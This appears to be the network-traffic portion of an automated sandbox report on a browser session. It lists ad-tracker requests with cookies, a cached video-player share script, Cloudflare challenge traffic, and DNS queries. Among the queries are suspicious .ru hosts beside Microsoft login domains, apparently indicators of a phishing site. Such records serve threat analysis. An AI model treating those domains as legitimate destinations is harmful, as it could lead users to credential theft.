Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537148856&val=Z3FyGwAAFARtxwAT&cc=1 HTTP/1.1Host: us-u.openx.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=100a87ce-6185-48fd-92f0-ba69c0daf3e8\|1735488050
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=390122&dpuuid=lrhR-Xu2Vn5xeulD3h3wrAgue70 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dpm=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057\|22054-1-1735488026062\|30646-1-1735488027060\|53196-1-1735488028406\|38117-1-1735488029084\|57282-1-1735488030056\|49276-1-1735488031057\|72352-1-1735488032058\|80742-1-1735488033130\|81309-1-1735488034063\|121998-1-1735488035056\|144228-1-1735488036059\|144229-1-1735488037061\|144230-1-1735488038140\|144231-1-1735488039064\|144232-1-1735488040068\|144233-1-1735488041305\|144234-1-1735488042058\|144235-1-1735488043060\|144236-1-1735488044060\|144237-1-1735488045059\|147592-1-1735488046060\|390122-1-1735488047055
Source: global traffic	HTTP traffic detected: GET /fr/b.php?p=1531105787105294&e=Z3FyGwAAFARtxwAT&t=2592000&o=0 HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=390122&dpuuid=lrhR-Xu2Vn5xeulD3h3wrAgue70 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dpm=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057\|22054-1-1735488026062\|30646-1-1735488027060\|53196-1-1735488028406\|38117-1-1735488029084\|57282-1-1735488030056\|49276-1-1735488031057\|72352-1-1735488032058\|80742-1-1735488033130\|81309-1-1735488034063\|121998-1-1735488035056\|144228-1-1735488036059\|144229-1-1735488037061\|144230-1-1735488038140\|144231-1-1735488039064\|144232-1-1735488040068\|144233-1-1735488041305\|144234-1-1735488042058\|144235-1-1735488043060\|144236-1-1735488044060\|144237-1-1735488045059\|147592-1-1735488046060\|390122-1-1735488047055
Source: global traffic	HTTP traffic detected: GET /messaging-agent-availability/api/account/60270350/getSkillAvailability?skillID=1832735030 HTTP/1.1Host: mcraa.fs.liveperson.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://publisher.liveperson.netSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://publisher.liveperson.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /messaging-agent-availability/api/account/60270350/getSkillAvailability?skillID=1832735030 HTTP/1.1Host: mcraa.fs.liveperson.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://publisher.liveperson.netSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://publisher.liveperson.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: W/"15-NE6nw6ACO6Y+vJVZkHmb+kuFtn0"
Source: global traffic	HTTP traffic detected: GET /messaging-agent-availability/api/account/60270350/getSkillAvailability?skillID=1832735030 HTTP/1.1Host: mcraa.fs.liveperson.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /messaging-agent-availability/api/account/60270350/getSkillAvailability?skillID=1832735030 HTTP/1.1Host: mcraa.fs.liveperson.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: W/"15-NE6nw6ACO6Y+vJVZkHmb+kuFtn0"

Source: chromecache_465.2.dr, chromecache_484.2.dr	String found in binary or memory: </svg>`;function EW(a,s){return l=>{const p=AW(l).map(f=>CW(f));s.setValue({...s.value,shareOptions:p});function d(){s.setValue({...s.value,shareDialogOpened:!0})}function m(){var f,E,I,D,N,O;s.setValue({...s.value,shareDialogOpened:!1}),(O=(N=(D=(I=(E=(f=a.renderRoot)==null?void 0:f.querySelector("ump-controls"))==null?void 0:E.renderRoot.querySelector("ump-control-bar"))==null?void 0:I.renderRoot.querySelector("ump-more-menu"))==null?void 0:D.renderRoot.querySelector('[data-id="more-menu-button"]'))==null?void 0:N.focus)==null\|\|O.call(N)}const y=Hh(a);return y.addEventListener("share-button-clicked",d),y.addEventListener("share-dialog-closed",m),()=>{y.removeAllListeners()}}}function AW(a){return a.options.share?a.options.shareOptions.length===0?wM:a.options.shareOptions:[]}function CW(a){const s=new URL(window.location.href);s.searchParams.delete("jsapi");const l=s.toString();switch(a){case"facebook":return{id:"facebook",url:`https://www.facebook.com/share.php?u=${encodeURIComponent(l)}`,icon:SW};case"linkedin":return{id:"linkedin",url:`https://www.linkedin.com/shareArticle?mini=true&url=${encodeURIComponent(l)}&title=&summary=&source=`,icon:TW};case"twitter":return{id:"twitter",url:`https://x.com/share?url=${encodeURIComponent(l)}&text=`,icon:kW};case"mail":return{id:"mail",url:`mailto:?subject=Check out this great video&body=${encodeURIComponent(l)}`,icon:xW};default:return{id:"copy",url:l,icon:""}}}function IW(){return a=>{if(a.options.sources.length===0)return()=>{};a.addEventListener("loadsourcesrequest",s);async function s(){a.dispatchEvent(new jt.util.FakeEvent("playerloadmediastart"));const l=lg(a.options.sources);try{await a.load(l[0].src,a.options.startTime,l[0].type)}catch{a.dispatchShakaError(jt.util.Error.Severity.CRITICAL,jt.util.Error.Category.MEDIA,jt.util.Error.Code.MEDIA_SOURCE_OPERATION_FAILED);return}await a.loadCaptions(),a.dispatchEvent(new jt.util.FakeEvent("playerloadmediaend")),a.dispatchEvent(new jt.util.FakeEvent("loadsourcescomplete"))}return()=>{}}}function MW(){try{return crypto.randomUUID()}catch{return`10000000-1000-4000-8000-${1e11}`.replace(/[018]/g,a=>(a^crypto.getRandomValues(new Uint8Array(1))[0]&15>>a/4).toString(16))}}var _W=Object.defineProperty,PW=Object.getOwnPropertyDescriptor,cg=(a,s,l,p)=>{for(var d=p>1?void 0:p?PW(s,l):s,m=a.length-1,y;m>=0;m--)(y=a[m])&&(d=(p?y(s,l,d):y(d))\|\|d);return p&&d&&_W(s,l,d),d};jt.polyfill.installAll();const i3="options";function a3(a,s,l){const p=a instanceof $a?a:$a.getById(a);return l&&p.addEventListener("ready",l,{once:!0}),p.setAttribute("options",JSON.stringify(s)),p}Object.defineProperty(a3,"allowAutoplay",{get:PL,set:QX});let $a=class extends Cn{constructor(){super(...arguments),this.umpId=`ump-${MW()}`,this.ariaLabel=null,this.playerStateContext=new Rw(this,{context:mr,initialValue:xM}),this.onVideoEvent=a=>{this.dispatchEvent(new kt(a.type,a.target))}}render(){return ht` equals www.facebook.com (Facebook)
Source: chromecache_465.2.dr, chromecache_484.2.dr	String found in binary or memory: </svg>`;function EW(a,s){return l=>{const p=AW(l).map(f=>CW(f));s.setValue({...s.value,shareOptions:p});function d(){s.setValue({...s.value,shareDialogOpened:!0})}function m(){var f,E,I,D,N,O;s.setValue({...s.value,shareDialogOpened:!1}),(O=(N=(D=(I=(E=(f=a.renderRoot)==null?void 0:f.querySelector("ump-controls"))==null?void 0:E.renderRoot.querySelector("ump-control-bar"))==null?void 0:I.renderRoot.querySelector("ump-more-menu"))==null?void 0:D.renderRoot.querySelector('[data-id="more-menu-button"]'))==null?void 0:N.focus)==null\|\|O.call(N)}const y=Hh(a);return y.addEventListener("share-button-clicked",d),y.addEventListener("share-dialog-closed",m),()=>{y.removeAllListeners()}}}function AW(a){return a.options.share?a.options.shareOptions.length===0?wM:a.options.shareOptions:[]}function CW(a){const s=new URL(window.location.href);s.searchParams.delete("jsapi");const l=s.toString();switch(a){case"facebook":return{id:"facebook",url:`https://www.facebook.com/share.php?u=${encodeURIComponent(l)}`,icon:SW};case"linkedin":return{id:"linkedin",url:`https://www.linkedin.com/shareArticle?mini=true&url=${encodeURIComponent(l)}&title=&summary=&source=`,icon:TW};case"twitter":return{id:"twitter",url:`https://x.com/share?url=${encodeURIComponent(l)}&text=`,icon:kW};case"mail":return{id:"mail",url:`mailto:?subject=Check out this great video&body=${encodeURIComponent(l)}`,icon:xW};default:return{id:"copy",url:l,icon:""}}}function IW(){return a=>{if(a.options.sources.length===0)return()=>{};a.addEventListener("loadsourcesrequest",s);async function s(){a.dispatchEvent(new jt.util.FakeEvent("playerloadmediastart"));const l=lg(a.options.sources);try{await a.load(l[0].src,a.options.startTime,l[0].type)}catch{a.dispatchShakaError(jt.util.Error.Severity.CRITICAL,jt.util.Error.Category.MEDIA,jt.util.Error.Code.MEDIA_SOURCE_OPERATION_FAILED);return}await a.loadCaptions(),a.dispatchEvent(new jt.util.FakeEvent("playerloadmediaend")),a.dispatchEvent(new jt.util.FakeEvent("loadsourcescomplete"))}return()=>{}}}function MW(){try{return crypto.randomUUID()}catch{return`10000000-1000-4000-8000-${1e11}`.replace(/[018]/g,a=>(a^crypto.getRandomValues(new Uint8Array(1))[0]&15>>a/4).toString(16))}}var _W=Object.defineProperty,PW=Object.getOwnPropertyDescriptor,cg=(a,s,l,p)=>{for(var d=p>1?void 0:p?PW(s,l):s,m=a.length-1,y;m>=0;m--)(y=a[m])&&(d=(p?y(s,l,d):y(d))\|\|d);return p&&d&&_W(s,l,d),d};jt.polyfill.installAll();const i3="options";function a3(a,s,l){const p=a instanceof $a?a:$a.getById(a);return l&&p.addEventListener("ready",l,{once:!0}),p.setAttribute("options",JSON.stringify(s)),p}Object.defineProperty(a3,"allowAutoplay",{get:PL,set:QX});let $a=class extends Cn{constructor(){super(...arguments),this.umpId=`ump-${MW()}`,this.ariaLabel=null,this.playerStateContext=new Rw(this,{context:mr,initialValue:xM}),this.onVideoEvent=a=>{this.dispatchEvent(new kt(a.type,a.target))}}render(){return ht` equals www.linkedin.com (Linkedin)

Source: global traffic	DNS traffic detected: DNS query: rjwc1sic.olistraket.ru
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: jivgrohtti3mlmhdskddcmqrm1wkfilwdeoqdwi2fwvqlpimuj.lpliwptf.ru
Source: global traffic	DNS traffic detected: DNS query: cdn.botframework.com
Source: global traffic	DNS traffic detected: DNS query: play.vidyard.com
Source: global traffic	DNS traffic detected: DNS query: publisher.liveperson.net
Source: global traffic	DNS traffic detected: DNS query: lpcdn.lpsnmedia.net
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: assets.adobedtm.com
Source: global traffic	DNS traffic detected: DNS query: lptag.liveperson.net
Source: global traffic	DNS traffic detected: DNS query: login.microsoftonline.com
Source: global traffic	DNS traffic detected: DNS query: dpm.demdex.net
Source: global traffic	DNS traffic detected: DNS query: mscom.demdex.net
Source: global traffic	DNS traffic detected: DNS query: msftenterprise.sc.omtrdc.net
Source: global traffic	DNS traffic detected: DNS query: ib.adnxs.com
Source: global traffic	DNS traffic detected: DNS query: accdn.lpsnmedia.net
Source: global traffic	DNS traffic detected: DNS query: static-assets.fs.liveperson.com
Source: global traffic	DNS traffic detected: DNS query: idsync.rlcdn.com
Source: global traffic	DNS traffic detected: DNS query: cm.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: rtd.tubemogul.com
Source: global traffic	DNS traffic detected: DNS query: idpix.media6degrees.com
Source: global traffic	DNS traffic detected: DNS query: analytics.twitter.com
Source: global traffic	DNS traffic detected: DNS query: match.adsrvr.org
Source: global traffic	DNS traffic detected: DNS query: cms.quantserve.com
Source: global traffic	DNS traffic detected: DNS query: cm.everesttech.net
Source: global traffic	DNS traffic detected: DNS query: rtd-tm.everesttech.net
Source: global traffic	DNS traffic detected: DNS query: servedby.flashtalking.com
Source: global traffic	DNS traffic detected: DNS query: a.tribalfusion.com
Source: global traffic	DNS traffic detected: DNS query: cms.analytics.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: px.owneriq.net
Source: global traffic	DNS traffic detected: DNS query: s.tribalfusion.com
Source: global traffic	DNS traffic detected: DNS query: ups.analytics.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: va.v.liveperson.net
Source: global traffic	DNS traffic detected: DNS query: jadserve.postrelease.com
Source: global traffic	DNS traffic detected: DNS query: ds.reson8.com
Source: global traffic	DNS traffic detected: DNS query: bttrack.com
Source: global traffic	DNS traffic detected: DNS query: dmpsync.3lift.com
Source: global traffic	DNS traffic detected: DNS query: ag.innovid.com
Source: global traffic	DNS traffic detected: DNS query: rtb.adentifi.com
Source: global traffic	DNS traffic detected: DNS query: api.powerbi.com
Source: global traffic	DNS traffic detected: DNS query: content.powerapps.com
Source: global traffic	DNS traffic detected: DNS query: sync.crwdcntrl.net
Source: global traffic	DNS traffic detected: DNS query: www.clarity.ms
Source: global traffic	DNS traffic detected: DNS query: sync-tm.everesttech.net
Source: global traffic	DNS traffic detected: DNS query: z.clarity.ms
Source: global traffic	DNS traffic detected: DNS query: pixel.rubiconproject.com
Source: global traffic	DNS traffic detected: DNS query: trc.taboola.com
Source: global traffic	DNS traffic detected: DNS query: dsum-sec.casalemedia.com
Source: global traffic	DNS traffic detected: DNS query: us-u.openx.net
Source: global traffic	DNS traffic detected: DNS query: image2.pubmatic.com
Source: global traffic	DNS traffic detected: DNS query: sync.search.spotxchange.com
Source: global traffic	DNS traffic detected: DNS query: munchkin.marketo.net
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: sync.srv.stackadapt.com
Source: global traffic	DNS traffic detected: DNS query: dc.services.visualstudio.com
Source: global traffic	DNS traffic detected: DNS query: mcraa.fs.liveperson.com

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/898190745:1735485141:Pje49cEkypugNQgmyh3blWlxXmkNYDicky8ne4tFJVQ/8f9afee62d6042e1/aDS_V8lNTomNIYOz4ts_O5dSbq05XDoYhtPAynvco1E-1735487949-1.1.1.1-ADW9KJGHzGdkI6XdltUCCHJT.Y3eyonqFnausn_NkEK2kLVTy_PGpvDpRsARQS4_ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3318sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedCF-Chl-RetryAttempt: 0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: aDS_V8lNTomNIYOz4ts_O5dSbq05XDoYhtPAynvco1E-1735487949-1.1.1.1-ADW9KJGHzGdkI6XdltUCCHJT.Y3eyonqFnausn_NkEK2kLVTy_PGpvDpRsARQS4_sec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/sghn1/0x4AAAAAAA3TEPXpcYeAkLPe/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 15:59:13 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MlfSQvSmKF1ObMbzZnEx4UlIO6ZHkK30VrtgtSe4QlO2ZOox71nI6fC7HMviNB6Mrdsjp%2FrTNSgWU94Bx8jUOW8x71Q%2BEkfpa5hOzYjWmfcO9pIMN8%2FsIyfVQbTX9w%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=72068&min_rtt=72049&rtt_var=27057&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2244&delivery_rate=39443&cwnd=244&unsent_bytes=0&cid=d5491b13ff0a34c3&ts=394&x=0"CF-Cache-Status: MISSServer: cloudflareCF-RAY: 8f9afef7ed8f42de-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1666&min_rtt=1625&rtt_var=638&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1909&delivery_rate=1796923&cwnd=230&unsent_bytes=0&cid=cc078bf2f367af18&ts=10814&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 15:59:16 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: jb9MuE81OquTbAulyiUIEttoCI0hKV62rq0=$5OmfedhVZC8kRN3Bcache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8f9aff10da99c323-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 15:59:23 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: yS17wesgEViXi5L4aH9no+uAWMU8Uss+JIw=$+D6cy8OEOJCv5Qf+cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8f9aff39adef4366-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 15:59:31 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: 0kIY91vUMuVYqEqiXA+fqgH9N0JoIvC7uAo=$SaO3E5E94krtojdIServer: cloudflareCF-RAY: 8f9aff706e22c402-EWRalt-svc: h3=":443"; ma=86400

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50615
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50174
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50177
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50183
Source: unknown	Network traffic detected: HTTP traffic on port 50366 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50498 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50185
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50190
Source: unknown	Network traffic detected: HTTP traffic on port 50204 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50445 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50196
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 50390 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50303 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50405
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50404
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50354 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50396 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 50405 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50365 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50139
Source: unknown	Network traffic detected: HTTP traffic on port 50170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50138
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50493
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50374
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50498
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50221 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50353 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50485 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50380
Source: unknown	Network traffic detected: HTTP traffic on port 50270 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50149
Source: unknown	Network traffic detected: HTTP traffic on port 50387 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50142
Source: unknown	Network traffic detected: HTTP traffic on port 50209 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50391 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50386
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50143
Source: unknown	Network traffic detected: HTTP traffic on port 50247 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50385
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50146
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50145
Source: unknown	Network traffic detected: HTTP traffic on port 50226 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50266
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50387
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50270
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50391
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50390
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50150
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 50329 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 50166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50155
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50397
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50396
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50157
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50277
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50397 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50160
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50307 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
